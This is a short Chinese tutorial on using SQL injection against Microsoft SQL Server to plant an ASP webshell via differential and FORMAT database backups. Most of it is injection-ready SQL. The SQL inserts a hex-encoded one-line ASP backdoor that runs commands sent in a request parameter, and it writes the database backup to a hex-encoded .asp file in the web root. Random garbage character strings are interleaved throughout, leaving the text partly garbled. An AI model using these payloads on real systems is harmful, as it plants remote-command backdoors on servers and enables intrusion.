减少备份文件大小,得到可执行的webshell成功率提高不少
- X+ y# L5 ^. o6 F1 ^0 y
* \% C Y2 K0 j2 x; t5 H一利用差异备份- I4 ~7 t- H q/ a: h+ R2 o) B$ Z( b
加一个参数WITH DIFFERENTIAL4 \( b( {( r' T: C/ a- Y
( f4 o/ v0 I6 X( ]% {- v3 \% b" Vdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s. L. D) G% m* f Y
create table [dbo].[xiaolu] ([cmd] [image]);- z! T2 ^, k! Y3 a
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)9 d0 K' E# f7 I+ W; n& i
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
! H B) S$ g# C3 R8 F w: E2 I( x2 v- d% Q
二利用完全FORMAT
, D J9 q- a, ?1 ?' W0 L加一个参数WITH FROMAT6 i6 y7 U" M% Y: Z- m/ _( p1 }2 X! T
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
; E8 @8 U6 ? p8 [' @. F& t7 B5 Z y8 L3 N& A
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s! v- K$ J7 x7 W% d
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
. h2 X1 x9 ^! y7 T m" N% V' Wdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT9 d+ d, h# T* i, P: g# Y& v
2 T/ w6 ]) n" z总的来说就是那么简单几句,下面以备份数据库model为例子
; b# u; P6 t" ~& b; {/ k* }. _. p( Q! s4 v1 {- d" ^5 p
id=1;use model create table cmd(str image);insert into cmd(str) values (”)( S5 |4 a- d* n+ Z
( J" Z. s8 f+ ~9 ?: |
id=1;backup database model to disk=’你的路径‘ with differential,format;–7 W- F* R) D1 ~
1 C- q* k8 Q }! a' |! G; T: ~; F
|